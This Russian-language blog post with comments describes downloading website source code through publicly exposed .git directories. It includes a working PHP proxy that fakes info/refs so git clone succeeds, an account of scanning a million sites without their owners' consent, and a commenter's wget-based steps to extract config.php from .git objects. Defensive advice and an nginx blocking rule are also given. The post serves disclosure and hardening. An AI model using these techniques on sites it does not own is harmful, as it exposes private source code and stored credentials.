В сентябре 2009 года была опубликована статья об уязвимости, связанной с системой контроля версий subversion, позволяющей скачать исходники сайтов, использующих SVN. Периодически от нечего делать мой мозг хотел, что бы я написал граббер и проверил актуальность данной угрозы на текущий момент, но было как-то лень. Однако, мне не давал покоя комментарий хабраюзера Semenov



Понятно, что каждый школьник уже попробовал скачать %sitename% через .svn, потому от этой идеи я отказался сразу, зато попробовать git clone %sitename%/.git/ руки чесались.

Для начала, я на собственном сайте отключил 404 на .git* и создал git репозиторий в публичной директории…

$ git init && git add . && git commit -m 'Test'
Initialized empty Git repository in /home/ilyaplot/data/www/web/.git/
[master (root-commit) d3dcdf3] Test
15 files changed, 713 insertions(+)
.....................

Теперь можно попробовать получить только что созданный репозиторий

$ git clone http://******.com/.git/
Cloning into '******.com'...
fatal: http://'******..com/.git/info/refs not found: did you run git update-server-info on the server?

Как оказалось, не все так просто. Для того, что бы репозиторий можно было склонировать таким способом, необходимо выполнить git update-server-info в папке с проектом, что по понятным причинам я сделать не могу.
Оказывается, для осуществления задуманного нужен всего лишь один файл .git/info/refs, содержащий хэш коммита для HEAD.
Т.к. хэш коммита можно получить из .git/refs/heads/master, то можно просто сделать проксирующий скрипт, который будет отдавать то, что git ожидает получить. У меня получился очень простой PHP — скрипт. Я просто создал контроллер в своем Yii2 проекте следующего содержания:

header("Content-Type: application/octet-stream");

        if (preg_match("/^(?P<host>[\w\-\.]+)\/(?P<url>.+)/isu", $host, $matches)) {
            if ($matches['url'] == 'info/refs') {
                $ref = file_get_contents('http://' . $matches['host'] . '/.git/refs/heads/master');
                $ref = trim($ref);
                echo "{$ref}\trefs/heads/master
{$ref}\trefs/remotes/origin/HEAD
{$ref}\trefs/remotes/origin/master
";
            } else {
                echo file_get_contents('http://' . $matches['host'] . '/.git/' . $matches['url']);
            }

            exit();
        }

И добавил rule в urlManager

[
        'pattern' => 'git/<host[\w\-\.\/]+>',
        'route' => 'git/index',
        'suffix' => '',
],

Теперь я могу попробовать склонировать собственный сайт, используя собственный сайт. Тут должна быть шутка про монитор

Пробуем
$ git clone http://******.com/git/******.com
Cloning into '******.com'...
$ ls ******.com/
assets css favicon.ico images js robots.txt sitemaps

Получилось! После этого, я проверил этот метод на сайтах — гигантах, получил то, что и ожидалось. Ничего. Потом я взял список из миллиона самых посещаемых сайтов интернета и прошел его весь. Я ожидал получить много исходников, но из 1 милииона сайтов получилось скачать лишь 4. На 126 сайтов из исследованных я получил .git/refs/heads/master с хэшем коммита, но склонировать репозиторий не удалось из-за того, что система роутинга этих сайтов выдавала 404.

Ожидал я, конечно большего, потому решил проверить, а насколько больше или меньше сайтов удастся скачать через .svn. Нашел граббер на питоне, настроил на тот же самый список из миллиона сайтов и запустил. Скачалось несколько сотен сайтов.

И в заключение дам несколько советов.

  1. Сейчас же проверьте доступность /.git/index на вашем сайте через обычный браузер.
    Если вы не получили 403 или 404, то следующие пункты для вас.
  2. Настройте ваш сервер так, что бы на .svn и .git он возвращал 404.
  3. Выносите исходный код сайта, который не должен быть получен клиентом за пределы публичной директории.
  4. Возможно, стоит поменять пароли, которые используются в конфигах, url доступа в админ панель, удалить служебные скрипты из публичной директории.

По понятным причинам я не могу сказать, какие именно сайты удалось склонировать, но могу сказать точно, что владельцы этих сайтов уже получили письмо, в котором я указал на недостаток.

UPD:
kaimi_ru поделился ссылкой на скрипты для 5 систем контроля версий github.com/kost/dvcs-ripper

Комментарии (10)


  1. BekoBou
    04.08.2017 12:31
    +2

    А может просто не выносить исходники и директорию .git на боевые сервера? Средства для деплоя сейчас достаточно развиты, чтобы не было такого.


    1. ilyaplot Автор
      04.08.2017 12:36

      Лично встречал проекты, в которых деплой происходит с помощью git. В одном из них корень репозитория = корнень сайта. Теперь там используется deployer


      1. modulator
        04.08.2017 12:39

        Я видел svn репозиторий в котором был закоммичен git и пару фильмов.


  1. modulator
    04.08.2017 12:33
    +4

    Полезной информации статья не несет.
    Я сканил alexa top 1m. ~10% сайтов не закрыли .git/
    Что бы выкачать исходники (хотя бы частично) не обязательно делать git clone.
    Выкачиваем /.git/index, делаем git ls-files. Выбираем нужный файл (например config.php), git checkout config.php.
    В результате получаем хэш вида 06fe09951d8b859538bd4a5c4b3d207a99dc254c, где 06 — то каталог.
    wget site.com/.git/objects/06/fe09951d8b859538bd4a5c4b3d207a99dc254c
    Повторяем git checkout config.php и получаем исходники файла config.php


    1. ilyaplot Автор
      04.08.2017 12:38
      -3

      Мне было интересно сделать именно git clone, потому что это казалось очень просто. Понятно, что можно получить исходники или их часть без применения git, но это уже другая история.


  1. kaimi_ru
    04.08.2017 12:35
    +2

    Набор подобных скриптов для разных систем контроля версий https://github.com/kost/dvcs-ripper


    1. modulator
      04.08.2017 12:38

      Как раз им выкачивал. Написал обертку, которая по списку доменов ищет .git .svn .hg и если нашел выкачивать. Но исходников оказалось слишком много:(


  1. Fedcomp
    04.08.2017 14:03

    Году в 2010 на хабре была волна скачки /.git /.svn папок, даже у яндекса что то скачали. С тех пор, видимо, за этим следят.


  1. Ernillgeek
    04.08.2017 16:19
    +3

    location ~ /\. {
         return 444;
    }
    


    Очень полезно иметь в конфиге nginx'а. Махом решает все подобные «уязвимости».


  1. maxru
    04.08.2017 18:02
    +1

    Как уже писали — достаточно просто нормально выкладывать код на боевой.
    Для этого svn export и git archive есть, если уж деплоер совсем лень настраивать.